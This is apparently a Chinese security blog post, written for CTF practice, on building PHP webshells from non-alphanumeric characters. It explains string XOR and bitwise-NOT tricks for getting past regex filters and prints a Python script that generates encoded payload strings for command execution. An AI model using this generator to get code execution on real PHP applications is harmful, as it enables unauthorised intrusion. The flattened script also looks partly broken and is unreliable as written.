一、写在最前面
本文是其他师傅文章的基础上写出的一份个人总结,主要就是按照博主个人所理解来谈论关于使用非常规字符写Shell这一个技巧。其他师傅的文章链接如下(Orz):
- PHP不使用数字,字母和下划线写shell | Smi1e
- 记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门) - Angel_Kitty - 博客园 (cnblogs.com)
- 一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
虽然借鉴了师傅们的文章,但由于本文是个人知识的总结或存在诸多疏漏,欢迎各位师傅斧正。
二、问题引入
当出现如下的正则过滤时该如何向code传值来实现命令执行呢。
本文给出的答案是使用非常规字符来写出一个Shell,什么叫使用非常规字符来写出一个Shell呢,然后通过Shell来进行命令执行?这里利用了PHP的一个特性——可以对字符串进行按位运算(对字符串中的每个字符逐个运算),从而可以使用一些并不常见的字符来进行合适按位运算从而得到希望拼接出的Shell字符。
三、关于按位运算
为了获得需要的Shell字符我们得对那些非常规字符进行按位运算,而对于这一寻找合适的非常规字符的过程采用一个脚本来实现是最合适,这里就先解释PHP中的按位算法是如何发挥作用的。在此之前得了解下原码、反码和补码这三者的区别:原码、反码、补码 详解!不懂的请看过来! - 知乎 (zhihu.com)
而在此处讨论的非常规字符的ASCII值实际上大多是超过ASCII的范围,所以八位二进制的补码是不够用的,但解决方法也很简单——将其数值按二进制展开并在最前端补上一个符号位即可。如140的补码可以是这样[140]->0 1000 1100
在PHP中对字符串和数字分别进行按位操作实际得到的结果是可能不相同的,因为数字在进行按位操作时使用的是补码,而字符串仅是使用对应的二进制数进行按位操作,再将获得的二进制数转化为对应的字符串,并没有涉及符号位。
四、按位操作符
这里采用了加强版的脚本来生成我们需要的非常见字符串,是[BUUCTF题解][极客大挑战 2019]RCE ME 1 - Article_kelp - 博客园 (cnblogs.com)中使用的脚本的基础上修改的,之后若遇到其他的题目需求会将优化后的脚本与题目一同更一篇博客出来,源码如下。
pattern=input("请输入正则过滤式,没有则直接回车跳过\n") #正则表达式修饰符re.I大小写不敏感,re.M多行匹配,影响^和$,re.S使得.匹配包括换行在内的所有字符,re.U根据Unicode字符集解析字符,影响\w,\W,\b,\B if pattern != "": import re blacklist=["`","'",'"',"\\"] for i in range(32,255): if re.search(pattern,chr(i),re.I): blacklist.append(chr(i)) else: #blacklist列表中的字符在生成的拼接字符串中不会被使用,除了部分是被过滤掉的字符,其余的如',"等字符考虑可能会导致闭合等问题暂列入 #如果有其他的要求可以对blacklist列表进行删改 blacklist=["`","'",'"',"\\","0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"] #print(blacklist) #不同于取反,一个目标字符串使用异或的方式可以获大量的可用拼接字符串,这里只取了1种组合的拼接字符串 #如果需要获得更多拼接字符串查看该函数中的result列表 def yiHuo(string): global operationEffient global blacklist operationEffient=False result=[] finalstr='""^""' rawstr=string for i in range(0,len(rawstr)): result.extend([[]]) for k in range(0,len(rawstr)): for i in range(127,255): if(chr(i) not in blacklist): for j in range(127,255): if(chr(j) not in blacklist): if(i^j==ord(rawstr[k])): result[k].extend([[hex(i).replace('0x',"%"),hex(j).replace('0x',"%")]]) #在这里往下的函数部分,result列表均是可用的(已填充了获得的拼接字符串) for i in range(0,len(result)): if(len(result[i])==0): return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i])) for i in range(0,len(rawstr)): finalstr=finalstr[:finalstr.find("^",0)-1]+result[i][0][0]+'"'+finalstr[finalstr.find("^",0):] finalstr=finalstr[:finalstr.rfind("'",0)]+result[i][0][1]+finalstr[finalstr.rfind('"',0):] #print(result) return(finalstr) def quFan(string): global operationEffient global blacklist operationEffient=False result=[] finalstr='~""' rawstr=string for i in range(0,len(rawstr)): result.extend([[]]) for k in range(0,len(rawstr)): for i in range(32,255): if(chr(i) not in blacklist and chr(int(bin(~i & 0xFF)[2:],2))==rawstr[k]): result[k].extend([hex(i).replace('0x',"%")]) for i in range(0,len(result)): if(len(result[i])==0): return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i])) for i in range(0,len(rawstr)): finalstr=finalstr[:finalstr.rfind('"',0)]+result[i][0]+finalstr[finalstr.rfind('"',0):] return(finalstr) while(True): operationEffient=True target=input("请输入待转换字符\n") while(operationEffient): operation=input("请选择操作\n1->使用异或拼接\n2->使用取反获得\n") if(operation=="1"): result=yiHuo(target) pass elif(operation=="2"): result=quFan(target) pass else: print("选择的操作无效") continue print(result)
异或(^)
使用按位异或,对两组字符串中的字符逐对取其ASCII码按二进制位逐位异或,将最终得到的二进制值转回ASCII码对应的字符。
取反(~)
对一个字符串中的字符逐个取其ASCII码进行取反,再将最终获得的ASCII码转回对应的字符。
五、关于写Shell的补充
想了想发现之前写的一篇关于assert和eval函数的博客中谈论的内容适合放在这里,目前还有一些其他的技巧,但了解并不透彻,随意写出来怕是会以讹传讹,日后明了了再补上。